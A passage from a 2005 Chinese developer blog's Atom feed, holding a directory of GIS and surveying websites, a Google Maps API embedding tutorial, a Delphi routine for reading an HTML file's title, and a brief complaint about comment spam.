target=_blank>http://observe.ivv.nasa.gov</A> <BR>美国摄影测量与遥感学会 <BR><A title=http://www.asprs.org/asprs href="http://www.asprs.org/asprs" target=_blank>http://www.asprs.org/asprs</A> <BR>美国制图学会 <BR><A title=http://www.landsurveyor.com.acsm/ href="http://www.landsurveyor.com.acsm/" target=_blank>http://www.landsurveyor.com.acsm/</A> <BR>美国地理学会 <BR><A title=http://fieber-john.campusview.indiana.edu/mapfinder href="http://fieber-john.campusview.indiana.edu/mapfinder" target=_blank>http://fieber-john.campusview.indiana.edu/mapfinder</A> <BR>国家地理空间数据交换中心 <BR><A title=http://www.h2o.usga.gov href="http://www.h2o.usga.gov/" target=_blank>http://www.h2o.usga.gov</A> <BR>National Resources Inventory Map Sampler <BR><A title=http://www.nhg.nrcs.usda.gov href="http://www.nhg.nrcs.usda.gov/" target=_blank>http://www.nhg.nrcs.usda.gov</A> <BR>加拿大自然资源局 <BR><A title=http://www.nrcan.gc.ca href="http://www.nrcan.gc.ca/" target=_blank>http://www.nrcan.gc.ca</A> <BR><A title=http://www.geocan.nrcan.gc.ca href="http://www.geocan.nrcan.gc.ca/" target=_blank>http://www.geocan.nrcan.gc.ca</A> <BR>加拿大遥感组织 <BR><A title=http://www.ccrs.nrcan.gc.ca href="http://www.ccrs.nrcan.gc.ca/" target=_blank>http://www.ccrs.nrcan.gc.ca</A> <BR>National Atlas on Schoolnet <BR><A title=http://www-nais.ccm.emr/ca/schoolnet/ href="http://www-nais.ccm.emr/ca/schoolnet/" target=_blank>http://www-nais.ccm.emr/ca/schoolnet/</A> <BR>欧洲空间局 <BR><A title=http://sharkl.esrin.esa.it/ href="http://sharkl.esrin.esa.it/" target=_blank>http://sharkl.esrin.esa.it/</A> (可获取10680幅&lt;&lt;1Km AVHRR 全球陆地数据集&gt;&gt;) <BR>Department of Geomatics University of Newca&#115;tle <BR><A title=http://www.nce.ac.uk/nsurv/ href="http://www.nce.ac.uk/nsurv/" target=_blank>http://www.nce.ac.uk/nsurv/</A> <BR>Mapping Science Institute,.Australia(MSIA) <BR><A title=http://www.intergraph.com/au/aic href="http://www.intergraph.com/au/aic" target=_blank>http://www.intergraph.com/au/aic</A> <BR>美国George Mason大学地理和地球系统科学系 <BR><A title=http://geog.gmu.edu href="http://geog.gmu.edu/" target=_blank>http://geog.gmu.edu</A> <BR>英国 Royal Institute of Chartered Survey-Ors,UK <BR><A title=http://www.rics.org.uk href="http://www.rics.org.uk/" target=_blank>http://www.rics.org.uk</A> <BR>New Zealand Land Resouce Inventory <BR><A title=http://www.landcare.cri.nz href="http://www.landcare.cri.nz/" target=_blank>http://www.landcare.cri.nz</A> <BR>The NZIS trial home page <BR><A title=http://www.hn.planet.gen.nz/survey href="http://www.hn.planet.gen.nz/survey" target=_blank>http://www.hn.planet.gen.nz/survey</A> <BR>IPENZ&acute;s home page <BR><A title=http://www.ipenz.org.nz href="http://www.ipenz.org.nz/" target=_blank>http://www.ipenz.org.nz</A> <BR>Century 21 Real Estate Listings <BR><A title=http://www.century21co.nz href="http://www.century21co.nz/" target=_blank>http://www.century21co.nz</A> <BR>LINZ Geodetic Database Pilot <BR><A title=http://www.govl.nz/linz/geodetic/gdb href="http://www.govl.nz/linz/geodetic/gdb" target=_blank>http://www.govl.nz/linz/geodetic/gdb</A> <BR>日本建设省 <BR><A title=http://www.pwri.go.jp href="http://www.pwri.go.jp/" target=_blank>http://www.pwri.go.jp</A> <BR>日本国土地理院 <BR><A title=http://www.gsi-mc.go.jp href="http://www.gsi-mc.go.jp/" target=_blank>http://www.gsi-mc.go.jp</A> <BR>日本环境厅 <BR><A title=http://www.eic.or.jp/eanet/index.html href="http://www.eic.or.jp/eanet/index.html" target=_blank>http://www.eic.or.jp/eanet/index.html</A> <BR>日本国土厅 <BR><A title=http://www.nla.go.jp href="http://www.nla.go.jp/" target=_blank>http://www.nla.go.jp</A> <BR>日本地质调查所 <BR><A title=http://www.aist.go.jp/gsj/homepagejp.html href="http://www.aist.go.jp/gsj/homepagejp.html" target=_blank>http://www.aist.go.jp/gsj/homepagejp.html</A> <BR>日本海上保安厅水路部 <BR><A title=http://www.jhd.go.jp href="http://www.jhd.go.jp/" target=_blank>http://www.jhd.go.jp</A> <BR>日本环境情报普及中心 <BR><A title=http://www.eic.or.jp href="http://www.eic.or.jp/" target=_blank>http://www.eic.or.jp</A> <BR>日本测量协会 <BR><A title=http://www.meshnet.org.jp/j-survey href="http://www.meshnet.org.jp/j-survey" target=_blank>http://www.meshnet.org.jp/j-survey</A> <BR>日本地图中心 <BR><A title=http://www.iijnet.or.jp/jmc href="http://www.iijnet.or.jp/jmc" target=_blank>http://www.iijnet.or.jp/jmc</A> <BR>日本建设情报综合中心 <BR><A title=http://www.jacic.org.jp href="http://www.jacic.org.jp/" target=_blank>http://www.jacic.org.jp</A> <BR>日本遥感技术中心 <BR><A title=http://www.restec.orjp href="http://www.restec.orjp/" target=_blank>http://www.restec.orjp</A> <BR>日本国际合作事业团 <BR><A title=http://jica.ific.or.jp href="http://jica.ific.or.jp/" target=_blank>http://jica.ific.or.jp</A> <BR><BR>********************五、教学******************** <BR><BR>尤它大学遥感教学 <BR><A title=http://www.nr.usu.edu href="http://www.nr.usu.edu/" target=_blank>http://www.nr.usu.edu</A> <BR>数字摄影测量计算机辅助教学软件(免费) <BR><A title=http://www.i4.auc.dk/jh href="http://www.i4.auc.dk/jh" target=_blank>http://www.i4.auc.dk/jh</A> <BR>遥感计算机辅助教学软件(免费) <BR><A title=http://ftp.tric.u-tokai.ac.jp/pub/outgoing/cat/winasean href="http://ftp.tric.u-tokai.ac.jp/pub/outgoing/cat/winasean" target=_blank>http://ftp.tric.u-tokai.ac.jp/pub/outgoing/cat/winasean</A> <BR>全球大学资源 <BR><A title=http://164.214.2.59/places/edu-webs.html href="http://164.214.2.59/places/edu-webs.html" target=_blank>http://164.214.2.59/places/edu-webs.html</A> <BR>各国测绘学校及课程设置 <BR><A title=http://homepage.interaccess.com/may-nard/ href="http://homepage.interaccess.com/may-nard/" target=_blank>http://homepage.interaccess.com/may-nard/</A> <BR>英国Southampton大学地理系 <BR><A title=http://www.geog.soton.ac.uk/carto/ href="http://www.geog.soton.ac.uk/carto/" target=_blank>http://www.geog.soton.ac.uk/carto/</A> <BR>香港理工大学土地测量与地理信息学系 <BR><A title=http://www.lsgi.polyu.edu.hk/ href="http://www.lsgi.polyu.edu.hk/" target=_blank>http://www.lsgi.polyu.edu.hk/</A> <BR>测绘论坛国际测绘工作者论坛(可以提出测量领域的某一问题并发表看法) <BR>new:sci.engr.surveying <BR>GIS和RS问题讨论 <BR><A title=http://www.comp.infosystems.gis href="http://www.comp.infosystems.gis/" target=_blank>http://www.comp.infosystems.gis</A> <BR>Thomas Bros.Maps (查询地图和测图一般信息) <BR><A title=http://www.thomas.com href="http://www.thomas.com/" target=_blank>http://www.thomas.com</A> <BR><BR><BR>********************六、地图和影像******************** <BR><BR>遥感图像网站 (覆盖地球200万平方公里地区的1米分辨率图像) <BR><A title=http://www.terraserver.com href="http://www.terraserver.com/" target=_blank>http://www.terraserver.com</A> <BR>查询某一区域是否已经有遥感数据 <BR><A title=http://www.terraserver.microsoft.com/terra-find-aspot.htm href="http://www.terraserver.microsoft.com/terra-find-aspot.htm" target=_blank>http://www.terraserver.microsoft.com/terra-find-aspot.htm</A> <BR>EOC网络站点 (提供多种卫星图像) <BR><A title=http://www.eoc.nasda.go.jp/guide/homepage/html href="http://www.eoc.nasda.go.jp/guide/homepage/html" target=_blank>http://www.eoc.nasda.go.jp/guide/homepage/html</A> <BR>美国地质测量局数据网站 <BR><A title=http://sunl.cr.usgs.gov/doc/edchome/ndcdb/ndcdb.html href="http://sunl.cr.usgs.gov/doc/edchome/ndcdb/ndcdb.html" target=_blank>http://sunl.cr.usgs.gov/doc/edchome/ndcdb/ndcdb.html</A> <BR>SPIN-2 (俄罗斯飞船拍摄的2-10米全色图像) <BR><A title=http://www.spin-2.com href="http://www.spin-2.com/" target=_blank>http://www.spin-2.com</A> <BR>nasa图像公司 <BR><A title=http://www.nasa.gov/gallery/photo/index.html href="http://www.nasa.gov/gallery/photo/index.html" target=_blank>http://www.nasa.gov/gallery/photo/index.html</A> <BR>航空图像公司 <BR><A title=http://www.aerial-images.com href="http://www.aerial-images.com/" target=_blank>http://www.aerial-images.com</A> <BR>加拿大国家地图服务中心 <BR><A title=http://head-smashed-in.ccm.emr.ca/naismap href="http://head-smashed-in.ccm.emr.ca/naismap" target=_blank>http://head-smashed-in.ccm.emr.ca/naismap</A> <BR>地图制图虚拟图书馆 <BR><A title=http://geog.gmu.edu/gess/jwc/cartorgrefs.html href="http://geog.gmu.edu/gess/jwc/cartorgrefs.html" target=_blank>http://geog.gmu.edu/gess/jwc/cartorgrefs.html</A> <BR>Map Blaster <BR><A title=http://www.mapblaster.com href="http://www.mapblaster.com/" target=_blank>http://www.mapblaster.com</A> <BR>City Search <BR><A title=http://www.citysearch.com href="http://www.citysearch.com/" target=_blank>http://www.citysearch.com</A> <BR>Bigbook <BR><A title=http://www.bigbook.com href="http://www.bigbook.com/" target=_blank>http://www.bigbook.com</A> <BR>MapQuest <BR><A title=http://www.mapquest.com href="http://www.mapquest.com/" target=_blank>http://www.mapquest.com</A> <BR>Oddens&acute;s Book Marks <BR><A title=http://Kartoserver.frw.ruu.nl/html href="http://kartoserver.frw.ruu.nl/html" target=_blank>http://Kartoserver.frw.ruu.nl/html</A> <BR>Corona历史资料和影像库 <BR><A title=http://www.nro.odci.gov/index5.html href="http://www.nro.odci.gov/index5.html" target=_blank>http://www.nro.odci.gov/index5.html</A> <BR>美国及特定地区的地图册及统计数据 <BR><A title=http://webl.whs.osd.mil/mmid.lo3/95top.htm href="http://webl.whs.osd.mil/mmid.lo3/95top.htm" target=_blank>http://webl.whs.osd.mil/mmid.lo3/95top.htm</A> <BR>Earth Science and Map Library <BR><A title=http://www.lib.berkeley.edu/eart/mapcollections.html href="http://www.lib.berkeley.edu/eart/mapcollections.html" target=_blank>http://www.lib.berkeley.edu/eart/mapcollections.html</A> <BR>地图与图集 <BR><A title=http://oddens.geog.uu.nl/index.html href="http://oddens.geog.uu.nl/index.html" target=_blank>http://oddens.geog.uu.nl/index.html</A> <BR><BR><BR>********************七、gis公司******************** <BR><BR>美国环境系统研究所 <BR><A title=http://www.esri.com href="http://www.esri.com/" target=_blank>http://www.esri.com</A> <BR>美国资源技术公司 <BR><A title=http://www.geomatics.com/rti href="http://www.geomatics.com/rti" target=_blank>http://www.geomatics.com/rti</A> <BR>Autodesk Mapguide <BR><A title=http://www.mapguide.com href="http://www.mapguide.com/" target=_blank>http://www.mapguide.com</A> <BR>Ortho Engine(PCI ImageWorks 软件) <BR><A title=http://www.pci.on.ca href="http://www.pci.on.ca/" target=_blank>http://www.pci.on.ca</A> <BR>Pro Gis软件公司 <BR><A title=http://www.progis.com href="http://www.progis.com/" target=_blank>http://www.progis.com</A> <BR><A title=http://www.progis.co.at href="http://www.progis.co.at/" target=_blank>http://www.progis.co.at</A> <BR>Intergraph公司 <BR><A title=http://www.intergraph.com href="http://www.intergraph.com/" target=_blank>http://www.intergraph.com</A> <BR>Earthwatch Incorporated <BR><A title=http://www.digital-globe.com href="http://www.digital-globe.com/" target=_blank>http://www.digital-globe.com</A> <BR>GeoReseaCh,Inc <BR><A title=http://www.georesearch.com href="http://www.georesearch.com/" target=_blank>http://www.georesearch.com</A> <BR>ER Mapper软件(免费送软件) <BR><A title=http://www.ermapper.com href="http://www.ermapper.com/" target=_blank>http://www.ermapper.com</A> <BR>Best-Fit大地平差软件 <BR><A title=http://www.teleport.com/bestfit href="http://www.teleport.com/bestfit" target=_blank>http://www.teleport.com/bestfit</A> <BR>Nov Atel公司 <BR><A title=http://www.novatel.ca href="http://www.novatel.ca/" target=_blank>http://www.novatel.ca</A> <BR>(GPS产品)Corvallis Microtechnology,Inc (CMT COGO CAD软件) <BR><A title=http://www.cmtinc.com href="http://www.cmtinc.com/" target=_blank>http://www.cmtinc.com</A> <BR>Mapcom公司(PC-Mapping地理信息软件) <BR><A title=http://www.mapcom.com.jp href="http://www.mapcom.com.jp/" target=_blank>http://www.mapcom.com.jp</A> <BR>Treasure Mapper 软件 <BR><A title=http://www.treasureMap-per.com href="http://www.treasuremap-per.com/" target=_blank>http://www.treasureMap-per.com</A> <BR>卡尔.蔡司公司 <BR><A title=http://www.zeiss.com href="http://www.zeiss.com/" target=_blank>http://www.zeiss.com</A> <BR>阿斯泰克 <BR><A title=http://www.ashtech.com href="http://www.ashtech.com/" target=_blank>http://www.ashtech.com</A> <BR>莱卡公司 <BR><A title=http://www.leica.com href="http://www.leica.com/" target=_blank>http://www.leica.com</A> <BR>尼康公司 <BR><A title=http://www.nikonusa.com href="http://www.nikonusa.com/" target=_blank>http://www.nikonusa.com</A> <BR>索佳公司 <BR><A title=http://www.sokkia.com href="http://www.sokkia.com/" target=_blank>http://www.sokkia.com</A> <BR>拓普康美国公司 <BR><A title=http://www.topcon.com href="http://www.topcon.com/" target=_blank>http://www.topcon.com</A> <BR>天宝导航仪器公司 <BR><A title=http://www.trimble.com href="http://www.trimble.com/" target=_blank>http://www.trimble.com</A> <BR>捷创力公司 <BR><A title=http://www.geotronocs.se href="http://www.geotronocs.se/" target=_blank>http://www.geotronocs.se</A> <BR>Soft Desk,Inc <BR><A title=http://www.softdesk.com href="http://www.softdesk.com/" target=_blank>http://www.softdesk.com</A> <BR>Survey & Development Services,Ltd(英国著名的经营测量与制图的公司) <BR><A title=http://www.almac.co.uk/sds/ href="http://www.almac.co.uk/sds/" target=_blank>http://www.almac.co.uk/sds/</A> <BR>地形仿真(软件公司) <BR><A title=http://www.terrasim.com href="http://www.terrasim.com/" target=_blank>http://www.terrasim.com</A> <BR>Rapid Imaging Software,Inc <BR><A title=http://www.landform.com href="http://www.landform.com/" target=_blank>http://www.landform.com</A> <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=134" /> 
	  <id>http://www.openx.cn/default.asp?id=134</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google Maps和Web应用程序的整合]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-09T09:18:44+08:00</updated>
	  <published>2005-11-09T09:18:44+08:00</published>
		  <summary type="html"><![CDATA[<P>摘:http://www.3snews.net/blog/more.asp?name=gisbaby&id=1490</P>
<P><FONT size=2>　　目前，随着web平台的日渐成熟，越来越多的新技术如雨后春笋般出现，将我们的应用提升到新的高度。目前最吸引全世界web应用开发者眼球的技术就是AJAX模型，它是Asynchronous JavaScript + XML的缩写。它揭示了目前Web开发社区的目标是创造和基于桌面系统的应用一样丰富和相同响应方式的Web应用，却可以使用多种浏览器方便的访问。<BR><BR>　　AJAX模型的一个著名应用就是Google Maps。你可以在http://maps.google.com上充分的使用它，并且惊讶于它的快速缩放能力和拖动能力。那么能不能把它强大的能力结合到你自己的应用程序里呢，这样不但你可以使用到它那强大的数据库，也可以使用它非常cool的界面。<BR><BR>　　你也许会惊讶Google已经提供了一个免费的API，使得你很容易实现以上的想法。只要你同意使用规定，并且不要未经允许使得页面拥有超过每天50000的浏览量，你可以随意在自己的web站点使用Google的地图技术。本文将介绍如何实现这一点，尤其你将学会如何将地图集成到页面里，给用户标识出感兴趣的地点，甚至可以在点击某个关联的图标时给出一个地点相关的描述。目前使用Google这项技术的有http://www.chicagocrime.org/ ，http://www.housingmaps.com/ 等等。 <BR><BR>　　<STRONG>系统需求</STRONG><BR><BR>　　使用Google Map API，你无需其他特别的web开发工具，所需的仅是文本编辑器，Web浏览器，和一个保存写好的web页面和脚本的web服务器。注意这里必须使用公开的web服务器，你不能使用内部服务器，因为每个请求都必须和Google Map的服务器交互。你需要在Google上注册并获取一个API的Key来使用，注意先访问这个站点了解相关的使用规则和申请方式：<BR><BR>　　http://www.google.com/apis/maps/signup.html<BR><BR>　　你需要将key和你的脚本进行集成以正确创建和显示你所需要的地图。<BR><BR>　　<STRONG>第一个地图</STRONG><BR><BR>　　使用Google Map非常简单，只需要短短几行代码即可。你可以将以下的代码存储为HTML文件，并且将ADD_YOUR_KEY_HERE替换成你得到的API的Key，然后上传到自己的web服务器上。<BR><BR></FONT><FONT face=新宋体><CODE><FONT size=2>＜!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"＞<BR>＜html xmlns="http://www.w3.org/1999/xhtml"＞ <BR>＜head＞ <BR>＜script src="http://maps.google.com/maps?file=api&v=1 &key=ADD_YOUR_KEY_HERE" type="text/javascript"＞<BR>＜/script＞<BR>＜/head＞<BR>＜body＞ <BR>＜div id="map" style="width: 400px; height: 300px"＞＜/div＞ <BR>＜script type="text/javascript"＞<BR>//＜![CDATA[ var map = new GMap(document.getElementById("map")); map.centerAndZoom(new GPoint(-83.022206, 39.998264), 3); //]]＞<BR>＜/script＞<BR>＜/body＞<BR>＜/html＞</FONT></CODE></FONT></P>
<P><FONT face=新宋体><CODE>访问web服务器上的这个html文件，你在浏览器中看到俄亥俄州立大学的地图：<BR>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/faf756bb59335c2e220968c7533e45d7.gif[/img]</CODE></FONT></P>
<P><FONT face=新宋体><CODE></CODE></FONT>&nbsp;</P>
<P><FONT face=新宋体><CODE><FONT size=2>　　在以上的脚本里有4个关键的地方，以下的代码片断是使得你可以使用Google Map服务的，但是你必须提供你自己的API Key：<BR><BR></FONT><FONT size=2><FONT face=新宋体><CODE>＜script src="http://maps.google.com/maps?file=api&v=1&key=ADD_YOUR_KEY_HERE" type="text/javascript"＞</CODE><BR></FONT>　　下面一些代码规定了html页面中页面的显示大小：长度，宽度。你可以把它放置到页面文件中的任何一行，使用表格和CSS都可以：<BR><BR></FONT><FONT size=2><FONT face=新宋体><CODE>＜div id="map" style="width: 400px; height: 300px"＞＜/div＞＜script type="text/javascript"＞</CODE><BR></FONT>　　下面的代码创建一个GMap的对象（从Goolge的JavaScript脚本中的一个类进行实例化），使用它操纵其他的显示和控制部分：<BR><BR></FONT><FONT size=2><FONT face=新宋体><CODE>var map = new GMap(document.getElementById("map"));</CODE><BR></FONT>　　最后，显示的地图的中心的经度是-83.022206和纬度39.998264。Gpoint的构造器的第二个参数是表明地图的俯视高度，1是最低的高度，16是最高的高度。<BR><BR></FONT><FONT size=2><FONT face=新宋体><CODE>map.centerAndZoom(new GPoint(-83.022206, 39.998264), 3);</CODE><BR></FONT>　　如果要显示一个位置的地图，就必须知道其经纬度。目前Google还没有提供将某个地址转化为其经纬度的服务，你可以使用其他的一些网站的服务，比如http://geocoder.us/（美国的地址转经纬度服务网站）。<BR><BR>　　<STRONG>控制地图行为</STRONG><BR><BR>　　如果你仔细研究一下上例里的地图，你会发现它是缺省可拖动的。如果你在地图上按下鼠标并且移动，会导致地图的重定位并刷新显示区域。使用如下代码可以关掉这一功能：<BR><BR></FONT><FONT size=2><FONT face=新宋体><CODE>map.disableDragging();</CODE><BR></FONT>　　熟悉Goolge地图的你也许会发现Goolge提供的放大缩小调节杆和位置调节按钮不可用。这是缺省关闭的，你加上一句代码就可以添加上它了：<BR><BR></FONT><FONT face=新宋体><FONT size=2><CODE>map.addControl(new GLargeMapControl());</CODE><BR></FONT></FONT></CODE></FONT></P>
<P><FONT face=新宋体><CODE><FONT face=新宋体><FONT size=2>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/64c720a7266e724257351c08d4aecbd5.gif[/img]</FONT></FONT></CODE></FONT></P>
<P><FONT face=新宋体><CODE><FONT face=新宋体><FONT size=2></FONT></FONT></CODE></FONT>&nbsp;</P><FONT face=新宋体><CODE><FONT face=新宋体><FONT size=2>
<P><FONT size=2>这里还有其他的几个控制选项，我将列出：<BR><BR>　　·GMapTypeControl:提供Google地图和卫星图片的切换功能<BR><BR>　　·GLargeMapControl: 放大缩小调节杆和位置调节按钮<BR><BR>　　·GSmallMapControl: GLargeMapControl的精简版，去掉了缩放的调节杆保留了缩放按钮<BR><BR>　　·GSmallZoomControl:只包括缩放按钮，去掉了GLargeMapControl里其他的所有控制。</FONT></P>
<P><FONT size=2><STRONG>添加特殊地点标识</STRONG><BR><BR>　　 地图本身还是很有用的，但是是不是能加入一些地点标识以标识出感兴趣的特殊地点呢？是的。你可以先实例化一个包含经纬度信息的Gpoint()对象，然后创建一个基于它的GMarker对象，最后加入到地图上来。如下的代码把俄亥俄州州立大学的计算机科学与技术系标识出来了： <BR><BR></FONT></P>
<P><FONT size=2><FONT face=新宋体><CODE>var point = new GPoint(-83.015522, 40.002068);<BR>var marker = new GMarker(point);<BR>map.addOverlay(marker);</CODE><BR></FONT>　　注意你必须把以上代码加入到执行了居中和缩放的代码之后，否则就会出错。结果图如下：<BR>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/cba37b8f95963afa7690af866c39ccc7.gif[/img]</FONT></P>
<P>&nbsp;</P>
<P>　　增加好几个不同地点的标识也可以。比如一个学生想可视化的看一下上课的地点，下面的代码给出了校园里的Dreese实验室，Gerlach礼堂和学校礼堂：<BR><BR><FONT size=2><FONT face=新宋体><CODE>// Fisher Hall<BR>var point = new GPoint(-83.014734, 40.005403);<BR>var marker = new GMarker(point);<BR>map.addOverlay(marker);<BR>// Dreese Labs<BR>var point = new GPoint(-83.015522, 40.002068);<BR>var marker = new GMarker(point);<BR>map.addOverlay(marker);<BR>// University Hall<BR>var point = new GPoint(-83.013307, 40.000610);<BR>var marker = new GMarker(point);<BR>map.addOverlay(marker);</CODE><BR></FONT>　　结果如下：</FONT></P>
<P>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/bd50ea0fdfef5fdae74ae2d9aed4db22.gif[/img]</P>
<P>&nbsp;</P>
<P>　　加入控制缩放和位置的按钮和操纵杆之后，会更加的清楚和明晰：<BR>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/129561d3386c4298ca813121e35dbaa6.gif[/img]</P>
<P>&nbsp;</P>
<P><STRONG>加入地点说明<BR><BR></STRONG>　　俄亥俄州立大学是全世界最大的校园之一，高年级的同学也许都需要经常问路。如果新生来得话，他到哪里去找具体一幢楼的信息呢？Google Map提供了信息提示的功能，只要你点击响应位置的图标，就会出现一个信息提示框，表明相关位置信息。下面就是一个例子： </P>
<P>[img]http://www.juntuan.net/d/file/hkbc/jbbc/2005-09-13/53c2634675b876eaf1052103e126066b.gif[/img]</P>
<P>&nbsp;</P>
<P>　　代码看起来比上面的麻烦，但是也不是非常复杂。我创建了一个JavaScript函数createInfoMarker()，使用GMarker对象，和一个包含地点信息的HTML字符串作为两个参数。下面就是和上面3个位置相关的描述信息的代码：<BR><BR><FONT size=2><FONT face=新宋体><CODE>// Create the marker and corresponding information windowfunction createInfoMarker(point, address) { <BR>　 var marker = new GMarker(point); <BR>　 GEvent.addListener(marker, "click", function()<BR>　 {<BR>　　 marker.openInfoWindowHtml(address);<BR>　 } );<BR>　 return marker;<BR>}<BR>// Gerlach Hallvar<BR>point = new GPoint(-83.014734, 40.005403);<BR>address = "Gerlach Hall＜br /＞2108 Neil Avenue ＜br /＞Columbus, Ohio 43210";<BR>var marker = createInfoMarker(point, address);<BR>map.addOverlay(marker);<BR>// Dreese Labsvar<BR>point = new GPoint(-83.015522, 40.002068);<BR>address = "Dreese Labs＜br /＞230 North Oval Mall ＜br /＞Columbus, Ohio 43210";<BR>var marker = createInfoMarker(point, address);<BR>map.addOverlay(marker);<BR>// University Hallvar<BR>point = new GPoint(-83.013307, 40.000610);<BR>address = "University Hall＜br /＞230 North Oval Mall ＜br /＞Columbus, Ohio 43210";<BR>var marker = createInfoMarker(point, address);<BR>map.addOverlay(marker);<BR></CODE><BR></FONT>　　<STRONG>结束语</STRONG><BR><BR>　　这篇短文简单介绍了使用Google Maps API的方法，建议你去看一下http://www.google.com/apis/maps/documentation/的相关文档，并且在网上和一些相关的Blog上找到相关介绍来深入学习。</FONT></P></FONT></FONT></CODE></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=133" /> 
	  <id>http://www.openx.cn/default.asp?id=133</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获取本地HTML文件的标题，超级链接]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-08T13:33:20+08:00</updated>
	  <published>2005-11-08T13:33:20+08:00</published>
		  <summary type="html"><![CDATA[<P>//uses activex,mshtml</P>
<P>function Html_GetTitleFromFile(const HtmlFile:TFileName;var FileTitle:String):Boolean;<BR>var<BR>Idoc&nbsp;&nbsp;&nbsp;&nbsp; : IHtmlDocument2;<BR>//ElementGroup : IhtmlElementCollection;<BR>//HtmlItem: IHTMLElement;<BR>PersistFile: IPersistFile;<BR>begin<BR>Result:=False;<BR>if not fileexists(HtmlFile) then<BR>exit;<BR>&nbsp; FileTitle:='';</P>
<P>&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Idoc := CreateComObject(Class_HTMLDOcument) as IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PersistFile := IDoc as IPersistFile;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if PersistFile.Load(StringToOleStr(HTMLFile),1)&lt;&gt;S_OK then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IDoc.designMode := 'on';&nbsp; //This will disable script execution.<BR>&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp; while IDoc.readyState &lt;&gt; 'complete' do&nbsp; //if it dead here,how to do it?<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; application.ProcessMessages;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; Showmessage(IDoc.readyState);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.ProcessMessages;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(1000);<BR>&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; Showmessage(IDoc.readyState);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if IDoc.readyState&lt;&gt;'complete' then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.ProcessMessages;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep(1000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if IDoc.readyState&lt;&gt;'complete' then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IDoc:=nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result:=False;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result:=True;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileTitle:=IDoc.title;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp; //This code also works<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElementGroup:=IDoc.all.tags('TITLE') As IhtmlElementCollection;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HtmlItem:=ElementGroup.item(0,0) As IHtmlElement;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileTitle:=HtmlItem.innerText;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IDoc := nil;<BR>&nbsp;&nbsp; end;<BR>end;</P>
<P>&nbsp;</P>
<P>摘:http://dev.csdn.net/article/78/78228.shtm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=132" /> 
	  <id>http://www.openx.cn/default.asp?id=132</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[可恶的小广告!!!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-11-08T08:25:50+08:00</updated>
	  <published>2005-11-08T08:25:50+08:00</published>
		  <summary type="html"><![CDATA[<P>最近发现日志留言中出现了很多小广告~丫丫的每天第一件事就是上日志删广告~呼呼!</P>
<P>可恶~实在是可恶!</P>]]></summary>
